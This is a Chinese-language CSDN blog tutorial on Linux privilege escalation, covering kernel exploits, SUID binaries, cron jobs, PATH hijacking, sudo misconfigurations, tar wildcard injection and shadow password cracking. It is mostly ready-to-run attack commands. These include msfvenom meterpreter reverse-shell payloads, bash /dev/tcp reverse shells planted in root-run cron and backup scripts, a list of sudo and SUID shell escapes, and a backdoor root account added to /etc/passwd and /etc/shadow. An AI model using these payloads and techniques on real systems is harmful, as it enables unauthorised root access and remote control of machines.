【Web】超级详细的Linux权限提升一站式笔记

CSDN 2024-08-11 11:03:02 阅读 87

目录

一、Linux内核提权

提权原理

提权环境

提权复现

二、SUID提权

SUID介绍

设置SUID

SUID提权原理

查找SUID文件

提权介绍

find提权

bash提权

vim提权

python提权

三、计划任务提权

提权原理

提权环境

提权步骤

四、环境变量劫持提权

提权原理

提权环境

提权实验

五、SUDO提权

提权原理

提权环境

提权复现

六、利用通配符(WS)进行提权

提权原理

提权环境

提权复现

七、破解明文密码提权

提权原理

提权环境

提权复现


一、Linux内核提权

提权原理

内核提权是利用Linux内核的漏洞进行提权的。内核漏洞进行提权一般包括三个环节:

1、对目标系统进行信息收集,获取到系统内核信息以及版本信息;

2、根据内核版本获取其对应的漏洞以及EXP;

3、使用找到的EXP对目标系统发起攻击,完成提权操作

查看Linux操作系统的内核版本和相关信息

<code>cat /etc/issue 查看ubuntu或者centos的版本

cat /etc/*-release 查看centos版本

uname -a 查看系统全部信息

uname -r 查看内核版本

EXP怎么找呢,可以是用kali去寻找,kali中自带searchsploit命令可以查找EXP

 输入 searchsploit -m 50808.c 就会自动复制该文件到当前目录

去互联网搜索该脚本的用法和相关的文档

 

提权环境

本次实验使用Ubuntu 20.04,内核版本是5.10版本的

提权复现

使用MSF上线机器

<code>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f

elf > mshell.elf

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.41.211

set lport 8888

run

查看操作系统

cat /etc/issue

cat /etc/*-release

查看可以利用的内核版本提权漏洞

<code>searchsploit linux 5.10.10

 将脚本进行复制并且只用GCC进行编译,或者使用百度搜索相关的文档进行使用

 

二、SUID提权

SUID介绍

SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了suid权限的

注意以下几点:

1. 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.

2. 命令执行者要对该程序文件拥有执行(x)权限.

3. 命令执行者在执行该程序时获得该程序文件属主的身份.

4. SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

设置SUID

<code>chmod u+s filename 设置SUID位

chmod u-s filename 去掉SUID设置

SUID提权原理

原理:利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令

常见的可以用来提权的命令如下:

nmap

vim

find

bash

more

less

nano

cp

awk

mv

查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

提权介绍

find提权

介绍

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用

SUID权限运行,则可以通过find执行的命令都将以root身份去运行

步骤

1.查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

2.利用find提权

<code>touch anyfile #必须要有这个文件

find anyfile -exec whoami \;

find . -exec /bin/sh -p \; -quit

bash提权

介绍

bash命令是用来打开一个shell。同时它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过bash执行的命令都将以root身份去运行

步骤

1.查找SUID文件

<code>find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

2.利用bash提权

<code>bash -p

vim提权

介绍

利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户

步骤

1.查找SUID文件

<code>find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

 

2.利用vim提权

第一种方式,利用vim添加账号

<code>vim /etc/passwd 添加特权用户

添加:bob:x:0:0::/home/bob:/bin/bash

vim /etc/shadow 添加特权用户

bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456

第二种,利用vim打开交互shell

vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

python提权

<code>python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

三、计划任务提权

提权原理

linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的文件,从而被攻击者利用,导致提权,Linux计划任务命令如下

crontab -e 编辑计划任务

crontab -l 查看计划任务

crontab -r 删除目前的crontab

计划任务的文件夹在 /etc/cron*下

计划任务的格式

<code>分 时 日 月 周 用户 命令

 

假如root用户设置了一个计划任务,但是权限没有设置好,比如777权限或者SUID权限之类的,查找命令如下

<code>find / -user root -perm -4000 -print 2>/dev/null 查找SUID文件

find / -perm 777 -print 2>/dev/null 查找777文件

 linux文件权第一部分是该文件的拥有者所拥有的权限,第二部分是该文件所在用户组的用户所拥有的权限,最后一部分是其他用户所拥有的权限

提权环境

先准备一个SUID文件或者权限为xx7的文件,让低权限的用户可以执行文件的修改,在这里我们我们准备一个sh文件或者python文件都可以,我们写一个linux运维脚本,来监控当前电脑的运行参数

function bash_os() {

# "系统基础信息"

#内核信息

kernel=$(uname -r)

#操作系统版本

release=$(cat /etc/redhat-release)

#主机名称

hostname=$HOSTNAME

#当前时间及运行时间

dateload=$(uptime | awk -F "," '{print $1}')

# 当前登录用户数

users=$(uptime | awk -F "," '{print $2}')

echo -e "\n\033[32m############## 系统基础信息 #######\033[0m\n" >>

/tmp/bash_os.txt

echo -e "\033[32m------------------------------------\033[0m" >>

/tmp/bash_os.txt

echo -e "|内核信息:\033[31m $kernel \033[0m" >>

/tmp/bash_os.txt

echo -e "\033[32m------------------------------------\033[0m" >>

/tmp/bash_os.txt

echo -e "|操作系统版本:\033[31m $release \033[0m" >> /tmp/bash_os.txt

echo -e "\033[32m------------------------------------\033[0m" >>

/tmp/bash_os.txt

echo -e "|当前时间及运行时间:\033[31m $dateload \033[0m" >>

/tmp/bash_os.txt

echo -e "\033[32m------------------------------------\033[0m" >>

/tmp/bash_os.txt

echo -e "|当前登录用户数:\033[31m $users \033[0m" >> /tmp/bash_os.txt

echo -e "\033[32m------------------------------------\033[0m" >>

/tmp/bash_os.txt

}

bash_os

该脚本运行后的内容写到 /tmp/bash_os.txt文件中

将文件的权限设置成777 chmod 777 bash_os.sh

 

将文件设置成计划任务,输入 vim /cat/cronta 进行编辑,编辑内容如下

<code>分 时 日 月 周 用户 命令

*/1 * * * * root /bash_os.sh

service crond status 查看计划任务启动

service crond restart 重启计划任务

提权步骤

我们先拿到一个webshell,或者MSF的shell,或者CS的shell先上线,这里使用MSF的shell,生成MSF的payload然后上线

<code>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f

elf > mshell.elf

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.41.211

set lport 8888

run

 

查询计划任务,发现存在一个sh文件并且是root运行的

接下来查看该文件的属性看看能不能更改,发现是777满权限,更改文件内容,进行提权

输入反弹shell的命令,在sh文件中进行追加

<code>echo "bash -i >& /dev/tcp/192.168.41.211/9876 0>&1" >> /bash_os.sh

 

使用NC接收等待反弹shell的连接,得到root权限 

四、环境变量劫持提权

提权原理

PATH是Linux和类Unix操作系统中的环境变量,类似windows中的path环境变量,当我们执行一个命令的时候shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中逐步查找命令,查看环境变量命令如下:

<code>echo $PATH #查看环境变量

如果我们可以在环境变量中写入自己的环境变量,然后写一个自己的恶意命令,从而达到提权的目的

提权环境

假设管理员用户在/home目录下创建了一个demo.c文件,内容如下,执行查看shadow文件命令,setuid 规定了其运行用户,以root权限进行编译和权限设置

<code>#include<unistd.h>

void main() {

setuid(0);

setgid(0);

system("cat /etc/shadow");

}

 然后使用gcc进行编译

gcc demo.c -o shell

运行 shell 命令就是打开shadow文件

赋予shell文件SUID权限

<code>chmod u+s shell

接下来就可以进行提权了 

提权实验

首先上线机器

<code>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f

elf > mshell.elf

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.41.211

set lport 8888

run

接下来用命令查找SUID文件,发现一个shell文件被配置了SUID 

<code>find / -user root -perm -4000 -print 2>/dev/null

运行shell文件,发现是查看/etc/shadow的命令 

那么我们劫持cat命令,达到提权的目的 

<code>echo "/bin/bash" > /tmp/cat

chmod 777 cat

ls -al cat

echo $PATH

export PATH=/tmp:$PATH

cd /home/shell

whoami

五、SUDO提权

提权原理

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。在一些应用场景里面,为了方便运维人员以低权限帐号进行运维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etcsudoers中进行操作。

具体的格式如下

<code>cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get

cseroad表示用户名

第一个 ALL 指示允许从任何终端访问sudo

第二个 (ALL:ALL)指示sudo命令被允许任意用户、任意组执行

第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令

这里要注意了添加的命令一定要写在最后一行

但是想获取哪些命令设置了无密码sudo,还是需要查看 cat /etc/sudoers 文件或者 sudo -l 命令,而这两条命令都需要一定权限或者知道当前用户密码 

如果给sudo配置文件配置了ALL 或者以下的命令就可以进行提权 

<code>wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、

bash、less、awk、man、vi、env、ftp、ed、screen

提权的命令如下

一条命令提权的

sudo vim -c '!sh'

sudo awk 'BEGIN {system("/bin/sh")}'

sudo xxd "/etc/shadow" | xxd -r

sudo env /bin/sh

sudo perl -e 'exec "/bin/sh";'

sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"code>

sudo sed -n '1e exec sh 1>&0' /etc/passwd

sudo find /etc/passwd -exec /bin/sh \;

两条命令提权的

sudo git help config

!/bin/sh

sudo ftp

!/bin/sh

sudo less /etc/hosts

!sh

sudo ed

!/bin/sh

sudo man man

!/bin/sh

提权环境

使用root用户配置/etc/sudoer配置文件,设置普通用户可以运行任意命令

提权复现

使用CS或者MSF或者webshell上线机器

<code>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f

elf > mshell.elf

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.41.211

set lport 8888

run

使用sudo -l 查看,发现awk可以无密码进行使用

 

 接下来使用命令进行提权

<code>sudo awk 'BEGIN {system("/bin/sh")}'

六、利用通配符(WS)进行提权

提权原理

<code>* 代表任意数量的字符

? 字符代表单个字符

[] 匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]

看一下什么是Wildcard wildness(简称WS)

echo "1" > file1

echo "2" >file2

echo "3" > --help

接下来查看文件里面的内容,发现文件1和文件2都可以查看,但是--help查看不了,直接调出了--help的命令,这种类型的技巧称为Wildcard wildness。

 

 如果我们执行 ls * 那么就会执行 ls --help

如果有的命令的参数中可以去执行linux命令,我们进行劫持,达到提权的目的,我们以tar命令为例子,tar命令是Linux中的压缩命令,可以对文件进行压缩 

<code>tar -czf html.tgz 1.html 将文件1.html文件压缩成html.tgz

也可以使用通配符进行压缩 

<code>tar -czf html.tgz *.html 将文件所有html文件压缩成html.tgz

在tar中有执行linux命令的参数如下 

<code>tar -czf 1.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami

可以对后面的命令进行劫持 ,只需要要编写一个这样的参数文件就行可以了 

<code>echo " " > --checkpoint=1

echo " " > --checkpoint-action=exec=whoami

接着运行

<code>tar -czf html.tgz *

提权环境

一般都有备份网站的习惯,那么运维人员或管理员填写了备份文件的计划任务,如果滥用了通配符,就可能导致提权

<code>*/1 * * * * root tar -zcf /var/html.tgz /var/www/html/*

提权复现

老样子先上线

<code>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f

elf > mshell.elf

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.41.211

set lport 8888

run

查看计划任务,发现有滥用通配符的,并且是root权限,可以进行提权

 

在/var/www/html下创建两个文件如下

<code>echo " " > /var/www/html/--checkpoint=1

echo " " > /var/www/html/--checkpoint-action=exec='bash shell.sh'code>

echo "bash -i >&/dev/tcp/192.168.41.211/8888 0>&1" > /var/www/html/shell.sh

 

使用NC进行监听,等待sh脚本被执行,连接NC 

七、破解明文密码提权

提权原理

大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的,当管理员的passwd和shadow一些权限配置不当就可能会导致提权

提权环境

主要是查看当前的shadow文件是否可以读取,有以下几种方式

<code>1、赋予了文件777权限

2、可以使用sudo查看

3、cat等命令赋予了SUID权限

提权复现

这里主要说一下root的账号密码怎么破解即可

john -wordlist=2.txt + shadow.txt



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。